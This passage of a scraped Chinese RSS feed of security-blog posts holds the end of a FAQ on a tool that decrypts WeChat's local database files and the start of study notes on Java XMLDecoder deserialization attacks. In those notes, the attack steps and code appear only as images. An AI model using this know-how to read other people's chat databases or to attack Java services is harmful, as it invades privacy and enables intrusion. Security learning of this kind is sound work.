版本问题可以换一个OD试一试（建议使用与本文一致的OD），或者是 设置好断点后 没有点击</span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">运行</code></span><span style="box-sizing: border-box;"> 。</span></p></blockquote><blockquote style="box-sizing: border-box;margin: 0.8em 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.8em;white-space: pre-wrap;"><span style="box-sizing: border-box;">Q3: 为什么编译完成后使用生成的exe解密时显示“打开文件错”？</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;">A3：经过测试是因为在解密时微信是在登录状态，所以在解密数据库文件时要退出微信（一定还有其他情况会提示“打开文件错”，我没遇到）。</span></p></blockquote><blockquote style="box-sizing: border-box;margin: 0.8em 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.8em;white-space: pre-wrap;"><span style="box-sizing: border-box;">Q4: 编译好的exe 运行时提示缺少</span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">libeay32.dll</code></span><span style="box-sizing: border-box;">文件？</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;">A4：下载一个根据系统版本放在指定的目录内就可以了：<a href="https://cn.dll-files.com/libeay32.dll.html" target="_blank">https://cn.dll-files.com/libeay32.dll.html</a></span><span style="box-sizing: border-box;"></span></p><p><span style="box-sizing: border-box;">下载后会有教程：</span><br/></p></blockquote><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6850220264317181" data-s="300,640" style="" data-type="png" data-w="908" src="https://wechat2rss.xlab.app/img-proxy/?k=75c16f7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmUiczDzYniaiaBYjJ94RuJq7LEl5nu9ZV1LMicLSC1ibCtteqwDyhLZr1JicA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247484007">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e24dd66a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247484007%26idx%3D1%26sn%3D7eb9c7d96db1c55f8e8b5436305c55cb%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 30 Jul 2021 10:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Java XMLDecode反序列化</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247483959&amp;idx=1&amp;sn=dbe30e2b343e7135cc71789e8ddd4c2b</link>
      <description>学习Java XMLDecode反序列化笔记</description>
      <content:encoded><![CDATA[<p>
原创 <span>风潇</span> <span>2021-07-29 11:05</span> <span style="display: inline-block;"></span>
</p>

<p>学习Java XMLDecode反序列化笔记</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8767c746&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm1fYk560kMlDFhqsh5kM38ESibjwNteDPkJy6YnXW7UmrsXeicYy6oVbw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">Java XMLDecode反序列化</span></h1><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">前言</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">正常遇到的有关于xml攻击思路定格在dtd的利用上，有关语言类的xml攻击却很少见，本文探讨xml反序列化攻击在java上的应用。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">JAVA XML</span></h2><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">序列化举例</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">java序列化xml实体</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.6264800861141012" data-w="929" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1f1850a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmSXTJXkMkIviaF4OdcgHia1XZibOoAj5uAQtv75TdXaweDLscjUibuEMKVg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">输出</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span data-src="imgs\image-20210727173825481.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;display: inline-block;width: 599px;"><img data-ratio="0.49815043156596794" data-w="811" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f8861381&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmuVeEiagk78hgNLZBtiazzicLuibLXKec2nugoQEMMKJNvCVwK2pU9BCh2w%2F640%3Fwx_fmt%3Dpng"/></span></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">反序列化举例</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">java反序列化序列化xml实体</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.6159110350727117" data-w="1169" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0aab9acd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmLXqK24zHofibLKIuND8AROS1tHgjhhNTkunUvmnM0u1J6oCyRK6wyDg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">输出</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.12855377008652658" data-w="809" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a584ae86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmOqGzPQAiaZRCeJ5OSWrbJo0JmH7N3T76sGskN9LVhd0Zxz9XQmlZ9NA%2F640%3Fwx_fmt%3Dpng"/><br/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">攻击方式</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">构造xml实体</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.24120171673819743" data-w="1165" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e5e7c601&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmKBgmkKtZ3kicoMxMBO41xicXMkOIcGpP5XodhyvntrW3mVIWESnyB4iag%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">输出</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.5273690406121248" data-w="1699" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=23ab9572&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmCmCZb9ut4GibUGp0tPx5dkSmSicZm4TK3WiaIv36LTmiaD5vxaQAEXMWibA%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">反序列化链分析</span></h2><h4 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">先给出完整调用栈(到Expression)</span></strong></span></h4><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9013452914798207" data-s="300,640" style="" data-type="png" data-w="1338" src="https://wechat2rss.xlab.app/img-proxy/?k=9458542b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmb46OiaHpRXeeiaLBsLezZZH875qxYMJGYWf31GetPg6iaVjny1PLLvlZw%2F640%3Fwx_fmt%3Dpng"/></p><h4 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">逐步分析</span></h4><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">1.先下断点<br/></span></strong></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="white-space:pre-wrap;box-sizing: border-box;display: inline-block;"><img data-ratio="0.43273013375295044" data-w="1271" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e9057943&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmvyWicvJBNZkpMia2PeIYCm3R2Y4c65cMGibZyhDf8PcjldKE14byDfZEg%2F640%3Fwx_fmt%3Dpng"/><br/></span><span style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"></span></strong></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">上一句断点跟入发现只做了初始化和载入input数据，如果跟入可以发现其处理xml的所有handle类型</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="white-space:pre-wrap;box-sizing: border-box;display: inline-block;"><img data-ratio="1" data-w="833" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f67e63e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmj7ib0fsgLtbNy2cq6y6X5NgI5wnGaN9Aq7KnCb89nJ0q3MtuhSGKLtQ%2F640%3Fwx_fmt%3Dpng"/></span><span data-src="imgs\image-20210727174936809.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;"></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">2.进入调试后跟进</span></strong></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.32046979865771813" data-w="596" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=000630ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmtPh06IsC7fF1hCiboZ8zUCE3Ig1kxEUrMDBMoy3LASBPGjqWQlrxK4A%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">再跟进</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.33675078864353314" data-w="1268" data-type="png" 